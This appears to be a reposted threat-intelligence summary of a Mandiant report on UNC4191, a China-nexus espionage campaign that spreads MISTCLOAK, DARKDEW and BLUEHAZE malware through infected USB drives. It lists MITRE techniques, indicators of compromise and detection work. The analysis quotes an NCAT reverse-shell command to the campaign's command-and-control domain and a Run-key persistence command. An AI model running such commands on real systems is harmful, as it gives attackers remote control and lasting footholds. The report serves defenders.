Always Another Secret: Lifting the Haze on China-nexus Espionage in Southeast Asia

Mandiant tracked UNC4191, a China‑nexus espionage campaign that uses compromised USB drives to side‑load three malware families (MISTCLOAK, DARKDEW, BLUEHAZE) via legitimately signed binaries, enabling persistence, worm‑like spread to removable media, and NCAT reverse shells. The activity primarily impacted systems physically located in the Philippines and used C2 infrastructure at closed.theworkpc[.]com. #UNC4191 #MISTCLOAK

Keypoints

Initial infection vector is removable USB devices; users execute renamed signed apps from the drive root to trigger payloads.
Threat actor side‑loads malicious DLLs using legitimate signed binaries (USB Network Gate, Razer Chromium Render Process) to launch MISTCLOAK, DARKDEW, and BLUEHAZE.
DARKDEW copies files from removable media to C:ProgramDataudisk, creates persistence (HKCU Run key “udisk”), and continuously scans to infect additional removable drives.
BLUEHAZE uses a renamed Razer binary to load RzLog4CPP.dll, deploy a staging folder C:UsersPublicLibrariesCNNUDTV, create an HKCU Run entry “ACNTV”, and execute a renamed NCAT (wuwebv.exe) to attempt a reverse shell to closed.theworkpc[.]com:80.
The campaign’s malware propagates via infected removable drives (worming capability), enabling potential exfiltration from air‑gapped systems.
Mandiant developed YARA rules and Managed Defense detections (process paths, registry Run modifications, NCAT/NETCAT usage) to identify and hunt similar activity.

MITRE Techniques

[T1091] Replication Through Removable Media – UNC4191 begins when “a user plugs in a compromised removable device and manually executes a renamed signed binary from the root directory of the storage volume” (‘a user plugs in a compromised removable device and manually executes a renamed signed binary from the root directory of the storage volume’).
[T1574.002] DLL Side‑Loading – The campaign side‑loads malicious DLLs: “The renamed USB Network Gate binaries load a MISTCLOAK DLL named u2ec.dll from the execution directory on the removable device (T1574.002)” and Razer binary loads RzLog4CPP.dll to call BLUEHAZE (‘The renamed USB Network Gate binaries load a MISTCLOAK DLL named u2ec.dll from the execution directory on the removable device… loads the legitimate file rzlog4cpp_logger.dll, which calls the getRoot function from the BLUEHAZE malware RzLog4CPP.dll during C runtime startup’).
[T1074.001] Local Data Staging/Copy to Removable Media – DARKDEW “copies every file from :autorun.infProtection for AutorunSystem Volume Information to C:ProgramDataudisk” and copies files back to removable media for propagation (‘copies every file from <drive>:autorun.infProtection for AutorunSystem Volume Information to C:ProgramDataudisk’).
[T1547.001] Registry Run Keys/Startup Folder – Established persistence via HKCU Run keys: value “udisk” executing c:programdataudiskdisk_watch.exe and “ACNTV” executing DateCheck.exe (‘Key: HKCUSoftwareMicrosoftWindowsCurrentVersionRun Value: udisk Text: c:programdataudiskdisk_watch.exe’ and reg add … /v ACNTV … ‘Rundll32.exe SHELL32.DLL,ShellExec_RunDLL “C:UsersPublicLibrariesCNNUDTVDateCheck.exe”‘).
[T1059] Command and Scripting Interpreter – BLUEHAZE/NCAT execution uses cmd to run NCAT reverse shell: ‘cmd.exe /C wuwebv.exe -t -e c:windowssystem32cmd.exe closed.theworkpc[.]com 80’.
[T1482] Domain Trust Discovery – Mandiant observed actors “enumerating domain trusts (T1482) and querying domain and local group permissions (T1069.001, T1069.002) within a several minute span” (‘threat actors enumerating domain trusts (T1482) and querying domain and local group permissions (T1069.001, T1069.002)’).
[T1069.001] Permission Groups Discovery – Used to query local group permissions as observed in hunting telemetry (‘querying domain and local group permissions (T1069.001, T1069.002)’).
[T1069.002] Permission Groups Discovery – Used to query domain group permissions as observed in hunting telemetry (‘querying domain and local group permissions (T1069.001, T1069.002)’).
[T1136.001] Create Local Account – Appears in technique sequencing examples used by hunters: “creation of a local account (T1136.001) and then addition to the local Administrators group (T1098)” (‘creation of a local account (T1136.001) and then addition to the local Administrators group (T1098)’).
[T1098] Account Manipulation – Example sequence included adding accounts to local Administrators in hunting examples (‘creation of a local account (T1136.001) and then addition to the local Administrators group (T1098)’).
[T1059.003] Windows Command Shell – Hunting missions included “Command and Scripting Interpreter: Windows Command Shell (T1059.003)” as a focus area (‘Mandiant identified this UNC4191 campaign by searching for anomalous sequences of events under our “Mandiant Intelligence: Staging Directories” and “Command and Scripting Interpreter: Windows Command Shell (T1059.003)” hunting missions’).
[T1036] Masquerading – Files and binaries are renamed or differ from original filed metadata (e.g., OriginalFileName: UsbConfig.exe but File Name: Removable Disk.exe) to masquerade as legitimate applications (‘OriginalFileName: UsbConfig.exe File Name: Removable Disk.exe, USB Drive.exe’).
[T1060] Registry Run Keys / Startup – Detection mapping flagged “Registry Run key persistence for binary in PROGRAMDATA” showing use of registry for persistence (‘Registry Key: HKCUSoftwareMicrosoftWindowsCurrentVersionRun Value: udisk Text: c:programdataudiskdisk_watch.exe’).
[T1218.011] Signed Binary Proxy Execution: Rundll32 – BLUEHAZE uses a RunDLL32 invocation to persistently execute the staged DateCheck.exe via registry (‘reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v ACNTV /t REG_SZ /d “Rundll32.exe SHELL32.DLL,ShellExec_RunDLL “C:UsersPublicLibrariesCNNUDTVDateCheck.exe”” /f’).

Indicators of Compromise

[Domain] NCAT C2 – closed.theworkpc[.]com
[MD5] MISTCLOAK sample and usb.ini – 7753da1d7466f251b60673841a97ac5a (MISTCLOAK), c10abb9f88f485d38e25bc5a0e757d1e (usb.ini), and 3 more hashes
[MD5] DARKDEW payloads – 6900cf5937287a7ae87d90a4b4b4dec5 (DARKDEW decrypted payload)
[MD5] BLUEHAZE and NCAT – f632e4b9d663d69edaa8224a43b59033 (BLUEHAZE), 8ec339a89ec786b2aea556bedee679c7 (NCAT)
[MD5] Legitimate signed binaries used for side‑loading – f45726a9508376fdd335004fca65392a, 707de51327f6cae5679dee8e4e2202ba (USB Network Gate), ea7f5b7fdb1e637e4e73f6bf43dcf090 (Razer Chromium Render Process)
[File Path] Staging and persistence locations – C:ProgramDataudisk (file and malware staging), C:UsersPublicLibrariesCNNUDTV (BLUEHAZE staging)

The intrusion chain starts when a user executes a renamed, signed application from the root of a removable drive (e.g., “Removable Drive.exe” or “USB Drive.exe”), which side‑loads a MISTCLOAK DLL (u2ec.dll) from the drive and launches an encrypted payload (usb.ini). MISTCLOAK acts as a launcher that decrypts and executes the chained payload stored on disk; the codebase references a PDB path containing Chinese characters that translate to “Disk Hijacking,” indicating development context.

The decrypted payloads implement a three‑phase workflow: DARKDEW (dropper) copies files from the removable media into C:ProgramDataudisk, drops renamed legitimate binaries (disk_watch.exe, DateCheck.exe), registers persistence under HKCUSoftwareMicrosoftWindowsCurrentVersionRun (udisk), and, when running as disk_watch.exe, polls volumes A:–Z: to locate removable drives and copy a hidden autorun.infProtection for Autorun folder structure onto them to propagate. BLUEHAZE is side‑loaded via a renamed Razer binary (DateCheck.exe) that loads RzLog4CPP.dll (RzLog4CPP.dll contains BLUEHAZE code), creates C:UsersPublicLibrariesCNNUDTV, persists with an “ACNTV” Run key, and executes a renamed NCAT (wuwebv.exe) to attempt a reverse shell.

The observed NCAT command line performs a reverse shell to closed.theworkpc[.]com:80 using “wuwebv.exe -t -e c:windowssystem32cmd.exe closed.theworkpc[.]com 80”. The overall behavior combines DLL side‑loading, registry Run‑key persistence, scheduled scanning for removable media, file staging in ProgramData and Public Libraries, and propagation via infected USB devices — enabling lateral compromise of additional hosts and potential data transfer from air‑gapped systems.

SHARE THIS STORY

WhatsApp X (Twitter)Telegram Bluesky Facebook LinkedIn Threads Email Print

Always Another Secret: Lifting the Haze on China-nexus Espionage in Southeast Asia | Mandiant